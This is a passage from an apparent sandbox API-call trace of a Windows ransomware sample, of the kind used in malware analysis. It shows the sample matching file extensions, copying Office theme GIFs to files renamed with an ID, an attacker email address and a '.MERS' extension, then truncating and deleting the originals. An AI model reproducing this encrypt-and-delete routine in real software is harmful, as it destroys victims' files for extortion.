shared\\themes14\\journal\\preview.gif")) returned 1 [0048.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0048.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0048.771] lstrlenW (lpString=".doc") returned 4 [0048.771] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.771] lstrlenW (lpString=".docx") returned 5 [0048.771] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.771] lstrlenW (lpString=".pdf") returned 4 [0048.771] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.771] lstrlenW (lpString=".xls") returned 4 [0048.771] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.771] lstrlenW (lpString=".xlsx") returned 5 [0048.771] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.771] lstrlenW (lpString=".ppt") returned 4 [0048.771] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0048.771] lstrlenW (lpString=".zip") returned 4 [0048.771] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.771] lstrlenW (lpString=".rar") returned 4 [0048.771] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.771] lstrlenW (lpString=".bz2") returned 4 [0048.771] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.771] lstrlenW (lpString=".7z") returned 3 [0048.771] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0048.772] lstrlenW (lpString=".dbf") returned 4 [0048.772] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0048.772] lstrlenW (lpString=".1cd") returned 4 [0048.772] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0048.772] lstrlenW (lpString=".jpg") returned 4 [0048.772] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0048.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0048.772] lstrlenW (lpString=".doc") returned 4 [0048.772] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.772] lstrlenW (lpString=".docx") returned 5 [0048.772] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.772] lstrlenW (lpString=".pdf") returned 4 [0048.772] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.772] lstrlenW (lpString=".xls") returned 4 [0048.772] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.772] lstrlenW (lpString=".xlsx") returned 5 [0048.772] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.772] lstrlenW (lpString=".ppt") returned 4 [0048.772] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0048.772] lstrlenW (lpString=".zip") returned 4 [0048.772] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.772] lstrlenW (lpString=".rar") returned 4 [0048.772] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.772] lstrlenW (lpString=".bz2") returned 4 [0048.772] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.772] lstrlenW (lpString=".7z") returned 3 [0048.772] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0048.772] lstrlenW (lpString=".dbf") returned 4 [0048.772] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0048.772] lstrlenW (lpString=".1cd") returned 4 [0048.772] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0048.773] lstrlenW (lpString=".jpg") returned 4 [0048.773] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.773] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0048.773] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0048.773] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0048.773] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1659) returned 1 [0048.773] CloseHandle (hObject=0x20c) returned 1 [0048.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif")) returned 0x20 [0048.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0048.773] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0048.773] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.774] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.774] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0048.775] GetLastError () returned 0x0 [0048.775] ReadFile (in: hFile=0x20c, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x67b, lpOverlapped=0x0) returned 1 [0048.883] WriteFile (in: hFile=0x218, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x680, lpOverlapped=0x0) returned 1 [0048.884] ReadFile (in: hFile=0x20c, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.884] WriteFile (in: hFile=0x218, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.884] SetEndOfFile (hFile=0x218) returned 1 [0048.884] CloseHandle (hObject=0x218) returned 1 [0048.884] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.884] SetEndOfFile (hFile=0x20c) returned 1 [0048.885] CloseHandle (hObject=0x20c) returned 1 [0048.885] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0048.885] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif")) returned 1 [0048.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0048.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0048.886] lstrlenW (lpString=".doc") returned 4 [0048.886] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.886] lstrlenW (lpString=".docx") returned 5 [0048.886] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.886] lstrlenW (lpString=".pdf") returned 4 [0048.886] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.886] lstrlenW (lpString=".xls") returned 4 [0048.886] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.886] lstrlenW (lpString=".xlsx") returned 5 [0048.886] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.886] lstrlenW (lpString=".ppt") returned 4 [0048.886] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0048.886] lstrlenW (lpString=".zip") returned 4 [0048.886] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.886] lstrlenW (lpString=".rar") returned 4 [0048.886] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.886] lstrlenW (lpString=".bz2") returned 4 [0048.886] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.886] lstrlenW (lpString=".7z") returned 3 [0048.886] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0048.886] lstrlenW (lpString=".dbf") returned 4 [0048.886] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0048.886] lstrlenW (lpString=".1cd") returned 4 [0048.886] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0048.886] lstrlenW (lpString=".jpg") returned 4 [0048.886] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0048.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0048.886] lstrlenW (lpString=".doc") returned 4 [0048.887] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.887] lstrlenW (lpString=".docx") returned 5 [0048.887] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.887] lstrlenW (lpString=".pdf") returned 4 [0048.887] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.887] lstrlenW (lpString=".xls") returned 4 [0048.887] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.887] lstrlenW (lpString=".xlsx") returned 5 [0048.887] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.887] lstrlenW (lpString=".ppt") returned 4 [0048.887] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0048.887] lstrlenW (lpString=".zip") returned 4 [0048.887] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.887] lstrlenW (lpString=".rar") returned 4 [0048.887] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.887] lstrlenW (lpString=".bz2") returned 4 [0048.887] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.887] lstrlenW (lpString=".7z") returned 3 [0048.887] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0048.887] lstrlenW (lpString=".dbf") returned 4 [0048.887] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0048.887] lstrlenW (lpString=".1cd") returned 4 [0048.887] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0048.887] lstrlenW (lpString=".jpg") returned 4 [0048.887] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.887] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0048.887] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0048.887] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0048.888] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1364) returned 1 [0048.888] CloseHandle (hObject=0x20c) returned 1 [0048.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif")) returned 0x20 [0048.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0048.888] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0048.888] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.888] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.888] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0048.902] GetLastError () returned 0x0 [0048.902] ReadFile (in: hFile=0x20c, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x554, lpOverlapped=0x0) returned 1 [0049.206] WriteFile (in: hFile=0x210, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x560, lpOverlapped=0x0) returned 1 [0049.207] ReadFile (in: hFile=0x20c, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.207] WriteFile (in: hFile=0x210, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xea, lpOverlapped=0x0) returned 1 [0049.207] SetEndOfFile (hFile=0x210) returned 1 [0049.207] CloseHandle (hObject=0x210) returned 1 [0049.208] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.208] SetEndOfFile (hFile=0x20c) returned 1 [0049.209] CloseHandle (hObject=0x20c) returned 1 [0049.209] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0049.209] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif")) returned 1 [0049.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0049.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0049.209] lstrlenW (lpString=".doc") returned 4 [0049.209] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.209] lstrlenW (lpString=".docx") returned 5 [0049.209] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.209] lstrlenW (lpString=".pdf") returned 4 [0049.209] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.209] lstrlenW (lpString=".xls") returned 4 [0049.210] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.210] lstrlenW (lpString=".xlsx") returned 5 [0049.210] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.210] lstrlenW (lpString=".ppt") returned 4 [0049.210] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0049.210] lstrlenW (lpString=".zip") returned 4 [0049.210] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.210] lstrlenW (lpString=".rar") returned 4 [0049.210] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.210] lstrlenW (lpString=".bz2") returned 4 [0049.210] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.210] lstrlenW (lpString=".7z") returned 3 [0049.210] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0049.210] lstrlenW (lpString=".dbf") returned 4 [0049.210] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0049.210] lstrlenW (lpString=".1cd") returned 4 [0049.210] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0049.210] lstrlenW (lpString=".jpg") returned 4 [0049.210] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0049.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0049.210] lstrlenW (lpString=".doc") returned 4 [0049.210] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.210] lstrlenW (lpString=".docx") returned 5 [0049.210] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.210] lstrlenW (lpString=".pdf") returned 4 [0049.211] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.211] lstrlenW (lpString=".xls") returned 4 [0049.211] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.211] lstrlenW (lpString=".xlsx") returned 5 [0049.211] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.211] lstrlenW (lpString=".ppt") returned 4 [0049.211] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0049.211] lstrlenW (lpString=".zip") returned 4 [0049.211] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.211] lstrlenW (lpString=".rar") returned 4 [0049.211] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.211] lstrlenW (lpString=".bz2") returned 4 [0049.211] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.211] lstrlenW (lpString=".7z") returned 3 [0049.211] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0049.211] lstrlenW (lpString=".dbf") returned 4 [0049.211] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0049.211] lstrlenW (lpString=".1cd") returned 4 [0049.211] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0049.211] lstrlenW (lpString=".jpg") returned 4 [0049.211] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.211] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0049.212] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0049.212] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0049.212] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2574) returned 1 [0049.212] CloseHandle (hObject=0x20c) returned 1 [0049.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif")) returned 0x20 [0049.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0049.212] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0049.212] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.212] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.213] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0049.214] GetLastError () returned 0x0 [0049.214] ReadFile (in: hFile=0x20c, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0xa0e, lpOverlapped=0x0) returned 1 [0049.218] WriteFile (in: hFile=0x210, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xa10, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xa10, lpOverlapped=0x0) returned 1 [0049.219] ReadFile (in: hFile=0x20c, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.219] WriteFile (in: hFile=0x210, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xea, lpOverlapped=0x0) returned 1 [0049.219] SetEndOfFile (hFile=0x210) returned 1 [0049.220] CloseHandle (hObject=0x210) returned 1 [0049.220] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.220] SetEndOfFile (hFile=0x20c) returned 1 [0049.221] CloseHandle (hObject=0x20c) returned 1 [0049.221] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0049.221] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif")) returned 1 [0049.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 